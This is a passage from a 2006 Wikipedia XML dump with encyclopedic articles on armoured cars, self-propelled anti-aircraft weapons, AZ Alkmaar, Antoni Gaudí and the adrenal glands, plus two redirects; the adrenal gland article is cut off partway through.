At the beginning of the twentieth century a number of military armoured vehicles were manufactured by adding armour and weapons to existing vehicles: [[tractor|armoured tractors]], armoured cars, and [[armoured train]]s are known.  Most of the early designs were a large car chassis to which an body made of steel plates had been added.  A spectacularly impractical early armoured ‘car’ was the [[Russia]]n [[Tsar Tank]] of 1915, a sort of tricycle with nine-metre wheels.

Armoured cars have their use in peacekeeping or internal security duties where their appearance is less confrontational or threatening than tanks, their size and mobility fits better with an urban environment with good roads. 

[[Image:Armoured_Car_Korfanty_1920.jpg|thumb|300px|right|Polish armoured car ''[[Korfanty]]'' in 1920]]

See also [[List of armoured cars]].

==Civilian armoured cars==
Civilian '''armoured cars''' are modified versions of normal cars, made by replacing the windows with [[bulletproof glass]] and inserting layers of armour under the outer skin of the car, a labor-intensive process that takes a few weeks and costs about $100,000 in the U.S. There is typically no apparent external difference between a non-armoured and armoured version of the same car, in order to not look conspicuous. In most cases [[aramid]] [[composite material|composite]] and ballistic [[steel]] plates are used and the increased mass is offset by a souped-up engine and brakes, as [[composite armour]] is considerably more expensive. The cars may also be equipped for their role: with a [[fire extinguisher]], rims in the wheels allowing to drive on empty tires for typically 15 to 50 km, an explosion-resistant fuel tank, remote starting of the car, pressure and temperature control of the tires, a siren or alarm, and an intercom between the exterior and interior of the car. Sometimes they can also be sealed air-tight from inside, and carry an oxygen bottle, to protect against gas attacks (tear gas, etc).

[[Image:Mercedes s klasse 1 sst2.jpg|thumb|An armoured [[Mercedes-Benz W220]] of the [[Germany|german]] [[President of Germany|Federal President]]]]
Armoured cars are in common use by people who feel at risk and can afford them, for example politicians, enterpreneurs, ambassadors, or in higher-risk areas including Colombia, Iraq, Moscow, and Washington DC. They are very popular in [[Mexico City]] due to the level of violence there. Armoured cars can also help protect the passengers in a [[car accident]].

Civilian armoured cars can be divided into two types:

# [[automobile|cars]] or [[truck]]s used in [[transport]]ing valuables, such as large quantities of money which are armored and equipped to resist attempts at [[highway]] [[robbery]] or the [[hijacking]] of the cargo. They may be manned with armed guards but do not mount weapons. Armoured cars are usually operated by [[security]] firms, which provide secure transport for clients' property.
# Armoured versions of cars or [[Sport utility vehicle|SUVs]] used as protection from crime or violence either by individuals who fear they may become victims, or in high risk environments. Diplomatic missions typically use armoured cars as standard vehicles, and many manufacturers or after market firms offer armoured versions of their vehicles. They are typically indistinguishable from the regular version on casual inspection from a distance.

== See also ==
*[[Tankette]]
*[[Vehicle armour]]
*[[Bulletproof glass]]

==External links==
*[http://www.alpineco.com Armored Vehicles &amp; Armored Cars, US]
*[http://www.armsvos.cz/Eng/index_eng.html Armored vehicles &amp; Cars, European vendor]

[[Category:Armored cars |*]]
[[Category:Armored fighting vehicles by type]]

[[ja:&amp;#35013;&amp;#30002;&amp;#36554;]]
[[pl:Samochód pancerny]]
[[zh-cn:&amp;#35013;&amp;#30002;&amp;#36710;]]
[[nl:pantserwagen]]
[[de:Sonderschutzfahrzeug]]</text>
    </revision>
  </page>
  <page>
    <title>Self-propelled anti-aircraft</title>
    <id>2288</id>
    <revision>
      <id>38981355</id>
      <timestamp>2006-02-09T22:47:08Z</timestamp>
      <contributor>
        <username>Mzajac</username>
        <id>61482</id>
      </contributor>
      <minor />
      <comment>merged from [[SPAAG]]</comment>
      <text xml:space="preserve">[[Image:SIDAM.JPG|thumb|The [[Italian Army]]'s [[SIDAM]] anti-aircraft vehicle, based on a U.S. M113 carrier]]

A '''self-propelled anti-aircraft weapon''' (SPAA, also ''self-propelled air defense'', SPAD) is an [[anti-aircraft]] gun or missile mounted on a vehicle [[chassis]].  

Specific weapon systems include [[machine gun]]s, [[autocannon]], larger guns, or [[missile]]s, and some mount both guns and longer-ranged missiles.  The vehicle mount may be based on a [[truck]].  Weapons meant for deployment in the forward battle area may be mounted on [[armoured fighting vehicles]], such as an [[armoured personnel carrier|APC]] or [[tank]], for protection from aircraft, artillery, and small arms fire.  

Anti-aircraft guns are usually mounted in a quickly-traversing [[turret]] with a high range of elevation, for tracking fast-moving aircraft.  They are often in dual or quadruple mounts, allowing a high rate of fire.  The concept was pioneered mainly by [[Germany]] during [[World War II]], with their [[flakpanzer]] series.  Today, [[missile]]s have largely replaced medium and heavy antiaircraft guns.

The [[Russian language|Russian]] equivalent of ''SPAAG'' is ''ZSU'', for ''zenitnaya samokhodnaya ustanovka'', (&quot;anti-aircraft self-propelled mount&quot;).

German WWII self-propelled anti-aircraft guns include [[Möbelwagen]], [[Wirbelwind]], [[Ostwind]], [[Kugelblitz]], ''Coelian''.  Modern weapons include the [[Russia|Russian]] [[ZSU-23-4 Shilka]], [[China|Chinese]] [[Type 88 SPAAG]], [[United States|American]] [[M163 VADS]], German [[Flugabwehrkanonenpanzer Gepard|Gepard]] and similar versions with the British Marksman turret (which was also adapted for a number of other users), [[Italy|Italian]] [[SIDAM-25]] and [[Otomatic]] and versions of the [[France|French]] [[AMX-13]]. Older post-war examples include the [[ZSU-57-2]], the failed [[M247 Sergeant York]], [[M16 Quad Fifty]] and [[M42 40 mm Self-Propelled Anti-Aircraft Gun|M42 Duster]].

Other examples include:
* [[ZSU-23-4 Shilka]], Soviet Union
* [[Gepard]], Germany
* [[PZA Loara]], Poland


{{mil-vehicle-stub}}
[[Category: Self-propelled anti-aircraft weapons |*]]
[[Category:Armored fighting vehicles by type]]</text>
    </revision>
  </page>
  <page>
    <title>AZ Alkmaar</title>
    <id>2289</id>
    <revision>
      <id>40437181</id>
      <timestamp>2006-02-20T15:17:49Z</timestamp>
      <contributor>
        <username>Dale Arnett</username>
        <id>25667</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Football club infobox |
  clubname = AZ|
  image    = [[Image:Az alkmaar.png|105px|Logo]]|
  fullname = Alkmaar Zaanstreek |
  nickname = |
  founded  = [[May 10]], [[1967]] |
  ground   = [[Alkmaarder Hout]], [[Alkmaar]] |
  capacity = 8,914 |
  chairman = [[Dirk Scheringa]] |
  manager  = [[Louis van Gaal]] |
  league   = [[Eredivisie]] |
  season   = 2004-05 |
  position = [[Eredivisie]], 3rd |
  shirtsupplier= |
  shirtsponsors= |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=FF0000|body1=FF0000|rightarm1=FF0000|shorts1=FFFFFF|socks1=FF0000|
  pattern_la2=|pattern_b2=_redwhitevertical|pattern_ra2=|
  leftarm2=0000ff|body2=0000ff|rightarm2=0000ff|shorts2=0000ff|socks2=0000ff|
}}
'''AZ Alkmaar''' is a [[Football (soccer)|football]] club from [[Alkmaar]], [[the Netherlands]]. It was founded on [[May 10]], [[1967]] as '''AZ '67''', the result of a merger of ''Alkmaar '54'' and ''FC Zaanstreek''. In the Netherlands the club is known as just ''AZ'', but in Europe ''Alkmaar'' is often added. However, very few people outside the Netherlands know the meaning of AZ and it might be better to call the club ''Alkmaar Zaanstreek'' and not ''AZ Alkmaar''.

Owing to the commitment of businessmen Cees and Klaas Molenaar, AZ '67 was successful in the late seventies and early eighties. In 1981 they became Dutch champions and UEFA Cup finalists. After the Molenaar brothers left the club, things went downhill. In 1988 AZ were relegated from the &quot;Eredivisie&quot; (Dutch premier league).

The involvement of businessman [[Dick Scheringa]] in the late nineties marked the revival of the club. AZ returned to the Eredivisie in 1998. In 2004-05 they reappeared in the UEFA Cup tournament, advancing to the semifinals. They also finished third in the Eredivisie that season, again qualifying for the UEFA Cup, after spending most of the season in the top two spots. That is a remarkable achievement, since AZ is not a very big club and it does not have a very large fanbase, even by Dutch standards. AZ's home ground is the [[Alkmaarder Hout]] which has a spectator capacity of 8390. AZ is the only club in the Dutch top flight that does not yet play in a new or renovated stadium. The Alkmaarderhout is an old but very romantic stadium and a reminder of times long gone. It is however not appropiate for a club that has managed to become a force to be reckoned with in recent years, both in the Netherlands and in Europe. The average attendance in 2004/05 was 8,300, but in the summer of 2006 the club will finally move to a new 13,500 (or 16,000) capacity stadium which, due to a much larger demand than expected, will probably be expanded to 30,000 in 2008 by adding a second tier.

The club manager is [[Louis van Gaal]], who succeeded [[Co Adriaanse]] after the 2004-05 season. One of the starting eleven of the team were locally born in [[Alkmaar]]. This season the team is performing very well, and some people even think they might reach the [[Champions League]] next season. 

==2005/2006 squad==
{{Fs start}}
{{Fs player|no=1|nat=Netherlands|name=[[Henk Timmer (football)|Henk Timmer]]|pos=GK}}
{{Fs player|no=2|nat=Netherlands|name=[[Kew Jaliens]]|pos=FW}}
{{Fs player|no=3|nat=Netherlands|name=[[Joris Mathijsen]]|pos=DF}}
{{Fs player|no=4|nat=Netherlands|name=[[Barry Opdam]]|pos=DF}}
{{Fs player|no=5|nat=Netherlands|name=[[Tim de Cler]]|pos=DF}}
{{Fs player|no=6|nat=Netherlands|name=[[Denny Landzaat]]|pos=MF}}
{{Fs player|no=7|nat=Georgia|name=[[Shota Arveladze]]|pos=FW}}
{{Fs player|no=8|nat=Netherlands|name=[[Michael Buskermolen]]|pos=DF}}
{{Fs player|no=9|nat=Belgium|name=[[Stein Huysegems]]|pos=FW}}
{{Fs player|no=10|nat=Netherlands|name=[[Barry van Galen]]|pos=MF}}
{{Fs player|no=11|nat=Denmark|name=[[Kenneth Perez]]|pos=FW}}
{{Fs player|no=12|nat=Finland|name=[[Juha Reini]]|pos=DF}}
{{Fs mid}}
{{Fs player|no=14|nat=Netherlands|name=[[Demy de Zeeuw]]|pos=MF}}
{{Fs player|no=15|nat=Morocco|name=[[Tarik Sektioui]]|pos=FW}}
{{Fs player|no=16|nat=Netherlands|name=[[Theo Zwarthoed]]|pos=GK}}
{{Fs player|no=17|nat=Netherlands|name=[[Martijn Meerdink]]|pos=MF}}
{{Fs player|no=18|nat=Iceland|name=[[Grétar Steinsson]]|pos=DF}}
{{Fs player|no=19|nat=Morocco|name=[[Adil Ramzi]]|pos=FW}}
{{Fs player|no=20|nat=Nigeria|name=[[Pius Ikedia]]|pos=FW}}
{{Fs player|no=21|nat=Netherlands|name=[[Danny Koevermans]]|pos=FW}}
{{Fs player|no=22|nat=Netherlands|name=[[Danny Mathijssen]]|pos=MF}}
{{Fs player|no=23|nat=Netherlands|name=[[Stijn Schaars]]|pos=MF}}
{{Fs player|no=24|nat=Netherlands|name=[[Haris Medunjanin]]|pos=MF}}
{{Fs end}}

==Achievements==
*Dutch championship: 1981.
*[[KNVB Cup|Dutch cup]]: [[1978]], [[1980]] and 1982.
*Champion Dutch first division: 1996 and 1998.
*[[UEFA Cup]] runner-up: 1981.
*[[UEFA Cup]] semi-finals: 2004.

==Notable players==

*[[Bert van Marwijk]] (1975-1979)
*[[Jan Kromkamp]] (2000-2005)
*[[Ron Vlaar]] (2002-2006jan)

==See also==
*[[Dutch Football League teams]]

==External links==
*{{nl icon}} {{en icon}} [http://www.az-alkmaar.nl/ Website of AZ]
*{{en icon}} [http://www.epitch.co.uk/eredivisie/az-alkmaar/ AZ Alkmaar News]

{{Eredivisie}}
{{UEFA Cup 2005/06}}

[[Category:Dutch football clubs]]

[[de:AZ Alkmaar]]
[[fi:AZ Alkmaar]]
[[he:איי זי אלקמאר]]
[[fr:AZ Alkmaar]]
[[ja:AZアルクマール]]
[[nl:AZ Alkmaar]]
[[pl:AZ Alkmaar]]
[[pt:AZ 67 de Alkmaar]]</text>
    </revision>
  </page>
  <page>
    <title>Autochthones</title>
    <id>2290</id>
    <revision>
      <id>15900720</id>
      <timestamp>2004-08-03T03:33:49Z</timestamp>
      <contributor>
        <ip>212.181.86.76</ip>
      </contributor>
      <text xml:space="preserve">#redirect [[Indigenous peoples]]</text>
    </revision>
  </page>
  <page>
    <title>Antoni Gaudí</title>
    <id>2293</id>
    <revision>
      <id>41968533</id>
      <timestamp>2006-03-02T23:11:50Z</timestamp>
      <contributor>
        <ip>68.34.164.38</ip>
      </contributor>
      <comment>/* Birth and childhood */</comment>
      <text xml:space="preserve">{{Catalan-speaking world|align=right|image=[[Image:Antonigaudí.jpg|Antoni Gaudí]]|caption=Antoni Gaudí}}
'''Antoni Gaudí i Cornet''' ([[25 June]] [[1852]] – [[10 June]] [[1926]]) was a [[Catalonia|Catalan]] [[architecture|architect]] famous for his unique style and highly individualistic designs.

==Gaudí's Life==
===Birth and childhood=== &lt;font color=FF3399&gt; &amp;hearts; elh &lt;/font color=FF3399&gt;
Gaudí was born in [[Tarragona]], [[Catalonia]], [[Spain]], in [[1852]] though no one knows exactly where. While many believe his birthplace to be the town of [[Reus]], others claim it was in fact [[Riudoms]].{{ref|birth}} It is known, however, that he was [[baptism|baptized]] in Reus a day after his birth. The artist's parents, Francesc Gaudí Serra and Antonia Cornet Bertran, both came from families of metalsmiths.

Gaudí, the youngest of five, found himself unable to play with friends his age because of [[rheumatism]]. Being in such pain, he was rarely able to walk on foot and was forced to ride a donkey when he wanted to go anywhere outside his home. That he remained close to home allowed him substantial free time to observe [[nature]] and its design.{{ref|rheumatism}} It has been hypothesized that it was this exposure to nature at an early age that began to hone two of his greatest qualities: observation and the analysis of nature.{{ref|observe-nature}}

===Early education===
At a young age, Gaudí entered a [[nursery school]] (''parvulari'') under the instruction of Francesc Berenguer, and his imaginative qualities began to manifest themselves: when Berenguer lectured the child on how wings let birds fly, Gaudí observed that chickens do not fly. He concluded that their wings must help them run faster.{{ref|chickens}}

When the time came for his formal education, Gaudí enrolled in the Collegi de les Escoles Píes de Reus, where he soon became fast friends with Eduard Toda and Josep Ribera. It was perhaps their insatiable curiosity that drove them to learn all they could about the intricacies of nature.{{ref|school-1}}

During his time at Les Escoles, Gaudí did not make the best of grades, though he proved to be an abstract thinker. He did, however, see remarkable improvement in the area of [[geometry]], a subject which fascinated him. This fascination would carry through with him until his death. Its first major effect on his life was his choice of career.

===Higher education===
As an [[architecture]] student at the Escola Tècnica Superior d'Arquitectura in [[Barcelona]] from [[1873]] to [[1877]], Gaudí continued to achieve mediocre grades but did well in the &quot;Trial drawings and Projects&quot; course.  {{ref|arch-grades}}

He would remain affiliated with the Escola Tècnica Superior d'Arquitectura his entire life. Awarded the title of Architect by the school in [[1878]], Gaudí immediately began to plan and design. When Elies Rogent signed the title, he declared, &quot;I have either found a lunatic or a genius.&quot;{{ref|lunatic}}

===Interests===
Gaudí, throughout his life, was fascinated by nature. He studied nature's angles and curves and incorporated them into his designs. Instead of relying on geometric shapes, he mimicked the way trees and humans grow and stand upright. The [[hyperboloid|hyperboloids]]  and [[paraboloid|paraboloids]] he borrowed from nature were easily reinforced by steel rods. He didn't limit his use of natural structures to support, however, and most of his designs resemble elements from the environment.

Because of his rheumatism, the artist observed a strict vegetarian diet, used [[homeopathy|homeopathic]] drug therapy, underwent water therapy, and hiked regularly. Long walks, besides suppressing his rheumatism, further allowed him to experience nature.
&lt;!-- 
To be finished before published: 
===Early career===
The first of Gaudí's major successes was, ironically, a failure in the his eyes. He was commissioned to design and build housing for the workers of La Cooperativa Mataronense, a factory in Barcelona. Although he only completed a single section of the factory, along with a kiosk, his work was recognized at the World Fair in Paris, giving him a name in the architecture world. It was at the World Fair that he first met Eusebi Güell.{{ref|met-Guell}}

WHEN UNCOMMENTED, ADD TO NOTES, IN ORDER:
# {{note|met-Guell}} [http://www.gaudiclub.com/ingles/i_vida/i_vida4.asp Biography at Gaudí and Barcelona Club, page 4]

==Prime== // better title?
--&gt;

===Later years===
[[Image:Casamila.jpg|thumb|right|The [[Casa Milà]], in the [[Eixample]], [[Barcelona]].]]

Gaudí was an ardent Catholic and a fervent [[Catalan nationalism|Catalan nationalist]]. (He was once arrested for speaking in Catalan in a situation deemed illegal by authorities.) In his later years, he abandoned secular work and devoted his life to Catholicism and his ''[[Sagrada Família]]''. In the early twentieth century, Gaudí's closest family and friends began to die; his works slowed to a halt; and his attitude changed. Perhaps one of his closest family members – his niece Rosa Egea – passed away in [[1912]], only to be followed by a &quot;faithful collaborator, Francesc Berenguer Mestres&quot; two years later. After both tragedies, Barcelona fell on hard times, economically. The construction of ''La Sagrada Família'' slowed; the construction of ''La Colonia Güell'' ceased altogether. Four years later, Eusebi Güell died.{{ref|slowdown}} 

Perhaps it was because of this unfortunate sequence of events that Gaudí changed. He became reluctant to talk with reporters or have his picture taken and solely concentrated on his masterpiece, ''La Sagrada Familia''.{{ref|focus-sagrada}}

On [[June 7]] [[1926]], Antoni Gaudí was run over by a [[tram]]. Because of his ragged attire and empty pockets, multiple cab drivers refused to pick him up for fear that he would be unable to pay the fare. He was eventually taken to a pauper's hospital in Barcelona. Nobody recognized the injured Gaudí until some friends found him at the poor hospital the next day. When they tried to move him into a nicer hospital, Gaudí refused, reportedly saying &quot;I belong here among the ghetto.&quot; He died two days later, half of Barcelona mourning his death. It was, perhaps, fitting that he was buried in the midst of his unfinished masterpiece, ''La Sagrada Família''.{{ref|death}}

==Artistic style==
[[Image:Sagradafamilia-overview.jpg|thumb|right|Gaudí's unfinished masterpiece, ''[[La Sagrada Familia|Sagrada Família]]'']]

Gaudí's first works were designed in the style of [[gothic architecture|gothic]] and traditional Catalan architectural modes, but he soon developed his own distinct sculptural style. French architect [[Eugene Viollet-le-Duc]], who promoted an evolved form of gothic architecture, proved a major influence on Gaudí. But the student surpassed the master architect and contrived highly original designs – irregular and fantastically intricate. Some of his greatest works, most notably ''La Sagrada Família'', have an almost hallucinatory power.

He integrated the [[parabolic arch]], nature's organic shapes, and the fluidity of water into his architecture. While designing buildings, he observed the forces of [[gravity]] and related [[catenary]] principles. (He designed many of his arches upside down by hanging various weights on interconnected strings, using gravity to calculate catenaries for a natural curved arch.) Using the Catalan ''[[trencadís]]'' technique, Gaudí often decorated surfaces with broken tiles.

The architect's work has been categorized as [[Art Nouveau]] architecture, a precursor to [[modern architecture]]. But his adoption of biomorphic shapes rather than orthogonal lines put him in a category unto himself (in Latin, ''[[sui generis]]''). His style was later echoed by that of Austrian architect [[Friedensreich Hundertwasser]] (1928&amp;ndash;2000).

Though hailed as a genius, some hypothesize that Gaudí was [[color blindness|color blind]] and that it was only in collaboration with [[Josep Maria Jujol]] – an architect twenty seven years his junior whom he acknowledged as a genius in his own right – that he produced his greatest works.

==Popularity==
Gaudí's originality was at first ridiculed by his peers. Indeed, he was first only supported by the rich industrialist [[Eusebi Güell]]. His fellow citizens referred to the ''Casa Milà'' as ''La Pedrera'' (&quot;the quarry&quot;), and [[George Orwell]], who stayed at Barcelona during the [[Spanish Civil War]], admittedly loathed his work. As time passed, though, his work became more famous, up to the point that he is now considered one of [[List of Catalan people|Catalonia's best and brightest]].

==Social and political influences==
The opportunities afforded by Catalonia's socioeconomic and political environments were endless. Catalonians such as Antonio Gaudí often showcased the region's diverse art techniques in their works. By mimicking nature, such artists symbolically pushed back the province's ever-increasing industrial society. Gaudí, among others, promoted the Catalan nationalist movement by incorporating elements of Catalan culture in his designs.

==Major works==
[[Image:Parcguell.jpg|thumb|right|View of the [[Park Guell|Park Güell]], [[El Carmel]], [[Barcelona]].]]

* ''[[Casa Vicens]]'' (1878-1880)
* ''[[Palau Güell]]'' (1885-1889)
* ''[[College of the Teresianas]]'' (1888-1890)
* ''Crypt of the [[Church of Colònia Güell]]'' (1898-1916)
* ''[[Casa Calvet|Casa Calvet]]'' (1899-1904)
* ''[[Casa Batlló]]'' (1905-1907)
* ''[[Casa Milà]]'' (''La Pedrera'') (1905-1907)
* ''[[Park Guell|Park Güell]]'' (1900-1914)
* ''[[Sagrada Familia|Sagrada Família]]'' (1884-1926)

Many of these works can be found in the [[Eixample]] district of Barcelona. Eight are [[United Nations Educational, Scientific and Cultural Organization|UNESCO]]  [[World Heritage Sites]]. Park Güell, Palau Güell, and Casa Milà have been heritage sites since 1984. The other five &amp;ndash; the façade of the Nativity, the crypt of ''La Sagrada Família'', ''La Casa Vicens'', ''La Casa Batlló'' and the crypt of the Church of Colònia Güell &amp;ndash; became so labeled by UNESCO in 2005.

==Influence==
*Gaudí's abandoned plans for a [[New York]] [[skyscraper]] [[hotel]] influenced the redesign of the [[World Trade Center]] after [[September 11, 2001]].

*In [[1992]], five artists founded La Asociación pro Beatificación de Antonio Gaudí. The secular association has since pushed for the [[Catholic church]] to [[beatification|declare Gaudí blessed]].{{ref|beatify}}

*Gaudí's life and work inspired [[The Alan Parsons Project]] to create the [[1987]] album ''[[Gaudi (album)|Gaudí]]''.

*Gaudi's work recently inspired a shop owner in [[Muswell Hill]] London to build a shopfront in the style of [[Casa Batlló]].

==Notes==
# {{note|birth}} [http://www.gaudiclub.com/ingles/i_vida/i_vida.asp Biography at Gaudí and Barcelona Club, page 1]. Retrieved [[9 November]] [[2005]].
# {{note|rheumatism}} Biography at Gaudí and Barcelona Club, page 1. Retrieved [[9 November]] [[2005]].
#{{note|observe-nature}} [http://www.artehistoria.com/frames.htm?http://www.artehistoria.com/historia/personajes/6764.htm Biography at ArteHistoria] (in Spanish). Retrieved [[9 November]] [[2005]].
#{{note|chickens}} [http://www.gaudiclub.com/ingles/i_vida/i_vida2.asp Biography at Gaudí and Barcelona Club, page 2]. Retrieved [[9 November]] [[2005]].
#{{note|school-1}} Biography at ArteHistoria. Retrieved [[9 November]] [[2005]].
#{{note|arch-grades}} Biography at Gaudí and Barcelona Club, page 2. Retrieved [[9 November]] [[2005]].
#{{note|lunatic}} Biography at ArteHistoria. Retrieved [[9 November]] [[2005]].
#{{note|slowdown}} [http://www.gaudiclub.com/ingles/i_vida/i_vida5.asp Biography at Gaudí and Barcelona Club, page 5]. Retrieved [[9 November]] [[2005]].
#{{note|focus-sagrada}} Biography at Gaudí and Barcelona Club, page 5. Retrieved [[9 November]] [[2005]].
#{{note|death}} Biography at Gaudí and Barcelona Club, page 5. Retrieved [[9 November]] [[2005]].
#{{note|beatify}} Playà Maset, Josep. &quot;The Vatican initiates the beatification process for Catalan architect Antoni Gaudí&quot;, in ''[[La Vanguardia]]'', Barcelona, [[12 March]] [[2000]]. [http://www.gaudiclub.com/ingles/i_links/i_beat4.asp Reproduced at Gaudí and Barcelona Club]. Retrieved [[9 November]] [[2005]].

==External links==
* [http://www.gaudiclub.com/ Gaudí and Barcelona Club]
* [http://www.gaudiclub.com/ingles/i_links/i_beat.asp Gaudí's proposed beatification]
* [http://dmoz.org/Arts/Architecture/History/Architects/G/Gaud%ed,_Antoni/ Gaudí category at DMoz]
* [http://www.barcelona-tourist-guide.com/gaudi/barcelona-gaudi.html Gaudí's architecture]
* [http://architect.architecture.sk/antonio-gaudi-architect/antonio-gaudi-architect.php Gaudí's biography]
* [http://usuaris.tinet.org/lgt/ Taller de Escultura Luis Gueilburt – Colección Antoni Gaudí] (in Spanish)
* [http://www.upc.es/web/tallergaudi/ Taller Gaudí UPC] (in Spanish and Catalan)

&lt;!-- Categories --&gt;

&lt;!--interwiki--&gt;
{{Commons|Antoni Placid Gaudí i Cornet}}

[[Category:1852 births|Gaudí, Antoni]]
[[Category:1926 deaths|Gaudí, Antoni]]
[[Category:Architects|Gaudí, Antoni]]
[[Category:Catalan architects|Gaudí, Antoni]]
[[Category:Modernisme|Gaudí, Antoni]]
[[Category:Art Nouveau|Gaudí, Antoni]]
[[Category:Roman Catholics|Gaudí, Antoni]]
[[Category:Road accident victims|Gaudí, Antoni]]
[[Category:Roman Catholic Church art|Gaudí, Antoni]]

{{Link FA|ru}}

[[bg:Антони Гауди]]
[[ca:Antoni Gaudí i Cornet]]
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[[eo:Antoni GAUDÍ]]
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[[he:אנטוני גאודי]]
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[[ru:Гауди-и-Корнет, Антонио]]
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[[sr:Антони Гауди]]
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[[uk:Гауді Антоніо]]
[[zh:安东尼·高第]]</text>
    </revision>
  </page>
  <page>
    <title>Arahant</title>
    <id>2295</id>
    <revision>
      <id>15900725</id>
      <timestamp>2004-04-16T05:46:08Z</timestamp>
      <contributor>
        <username>Nat Krause</username>
        <id>40885</id>
      </contributor>
      <comment>move some info to Arhat and make redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Arhat]]</text>
    </revision>
  </page>
  <page>
    <title>Adrenal gland</title>
    <id>2296</id>
    <revision>
      <id>40579463</id>
      <timestamp>2006-02-21T16:11:39Z</timestamp>
      <contributor>
        <ip>87.192.77.21</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Gray1183.png|thumb|300px|[[Gray's Anatomy|Gray's]] Fig. 1183 – Suprarenal glands viewed from the front.]]
[[Image:Gray1184.png|thumb|300px|[[Gray's Anatomy|Gray's]] Fig. 1184 – Suprarenal glands viewed from behind.]]
In [[mammal]]s, the '''adrenal glands''' (also known as '''suprarenal glands''' or colloquially as '''kidney hats''') are the triangle-shaped [[endocrine gland]]s that sit atop the [[kidney]]s; their name indicates that position (''ad'', &quot;near&quot; or &quot;at&quot; + ''renes'', &quot;kidneys&quot;). They are chiefly responsible for regulating the [[stress (medicine)|stress]] response through the [[synthesis]] of [[corticosteroid]]s and [[catecholamine]]s, including [[cortisol]] and [[adrenaline]].

== Overview ==
[[Image:Kidney_section.jpg|thumb|200px|Above each human kidney is one of the two [[adrenal gland]]s.]]
[[Image:Adrenal_cortex_layers.jpg|right|200px|thumb|Layers of the adrenal cortex]]
Anatomically, the adrenal glands are located in the abdomen, situated on the anteriosuperior aspect of the kidneys. In humans, the adrenal glands are found at the level of the 12th [[thoracic vertebra]] and receive their blood supply from the [[adrenal artery|adrenal arteries]].

It is separated into two distinct structures, the [[#Adrenal medulla|adrenal medulla]] and the [[#Adrenal cortex|adrenal cortex]], both of which receive regulatory input from the [[nervous system]]. As its name suggests, the adrenal medulla is at the center of the adrenal gland surrounded by the adrenal cortex.

The ''adrenal medulla'' is the body's main source of the catecholamine hormones [[epinephrine]] and [[norepinephrine]]. By contrast, some cells of the ''adrenal cortex'' belong to the [[hypothalamic-pituitary-adrenal axis]] and are the source of [[cortisol]] synthesis. Other cortical cells produce [[androgen]]s such as [[testosterone]], while some regulate [[water]] and [[electrolyte]] concentrations by secreting [[aldosterone]].

== Adrenal medulla ==
Composed mainly of hormone-producing [[chromaffin cell]]s, the adrenal medulla is the principal site of the conversion of the [[amino acid]] [[tyrosine]] into the catecholamines [[epinephrine]] and [[norepinephrine]] (also called adrenaline and noradrenaline, respectively). Medullary cells are derived from the [[embryo]]nic [[neural crest]] and, as such, are simply modified [[neuron]]s. In particular, they are modified [[postganglionic cell]]s of the [[sympathetic nervous system]] that have lost their [[axon]]s and [[dendrite]]s, receiving innervation from corresponding [[preganglionic fiber]]s. Moreover, as the synapses between pre- and postganglionic fibers are called ''[[autonomic ganglion|ganglia]]'', the adrenal medulla is actually a ganglion of the sympathetic nervous system.

In response to [[stressor]]s such as [[exercise]] or imminent danger, medullary cells release catecholamines into the blood in a 70:30 ratio of epinephrine to norepinephrine. Notable effects of epinephrine and norepinephrine include increased [[heart rate]], [[vasoconstriction|blood vessel constriction]], [[bronchiole]] dilation, and increased [[metabolism]], all of which are characteristic of the [[fight-or-flight response]].

== Adrenal cortex ==
Situated along the perimeter of the adrenal gland, the adrenal cortex mediates the stress response through the production of [[mineralocorticoid]]s and [[glucocorticoid]]s, including [[aldosterone]] and [[cortisol]] respectively. It is also a secondary site of [[androgen]] synthesis.

The cortex can be divided into three distinct layers of [[biological tissue|tissue]] based on their organization. The most superficial cortical layer is the [[zona glomerulosa]], which produces [[mineralocorticoid]]s (eg, [[aldosterone]]). Beneath the glomerulosa are the [[zona fasciculata|zonae fasciculata]] and [[zona reticularis|reticularis]], which produce [[glucocorticoid]]s (eg, [[cortisol]]) and weak [[androgen]]s (eg, [[dehydroepiandrosterone]]).

All adrenocortical hormones are synthesised from [[cholesterol]]. Cholesterol is transported into the inner mitochondrial membrane by steroidogenic acute regulatory protein (StAR), where it is converted into [[pregnenolone]] by the enzyme CYP11A. Accordingly, production of hormones in all three layers of the adrenal cortex is limited by the transportation of cholesterol into the mitochondria and by its conversion into pregnenolone. Pregnenolone can be either dehydrogenated to [[progesterone]] or hydroxylated to 17-alpha-hydroxypregnenolone. The steps up to this point occur in many steroid-producing tissues. Subsequent steps, however, only occur in the adrenal cortex.

* Progesterone -&gt;(hydroxylation at C21)-&gt; Deoxycorticosterone -&gt;(two further hydroxylations)-&gt; Aldosterone
* Progesterone -&gt; (hydroxylation at C17)-&gt; 17-alpha-hydroxyprogesterone -&gt;(hydroxylation)-&gt; Deoxycortisol -&gt;(hydroxylation)-&gt; Cortisol

The layers of the cortex can be remembered with the [[mnemonic]] ''[[glomerular filtration rate|GFR]]'': '''G''' - ''glomerulosa'', '''F''' - ''fasciculata'', '''R''' - ''reticularis''.  Another mnemonic that is used is ''Go Find Rex, Make Good Sex'': '''G''' - ''glomerulosa'', '''F''' - ''fasciculata'', '''R''' - ''reticularis'', '''M''' - ''mineralcorticoids'', '''G''' - ''glucocorticoids'', '''S''' - ''sex hormones''.

===Zona glomerulosa===
The zona glomerulosa is the most superficial layer of the adrenal cortex, lying directly beneath the adrenal gland's capsule. Its cells are arranged in spherical clusters (''glomus'' is [[Latin language|Latin]] for &quot;ball&quot;).

In response to increased [[potassium]] levels or decreased blood flow to the kidneys, cells of the zona glomerulosa secrete the mineralocorticoid [[aldosterone]] into the blood as part of the [[renin-angiotensin system]]. Aldosterone regulates the body's concentration of [[electrolyte]]s, primarily [[sodium]] and potassium, by acting on the [[distal convoluted tubule]] of kidney [[nephron]]s to:

* increase sodium reabsorption
* increase potassium [[excretion]]
* increase water reabsorption through [[osmosis]]

===Zona fasciculata===
Cells of the zona fasciculata sit directly beneath the zona glomerulosa and are organized in bundles (or fascicles). The zona chiefly produces glucocorticoids (eg, [[cortisol]]) and a small amount of weak [[androgen]]s (eg, [[dehydroepiandrosterone]]).

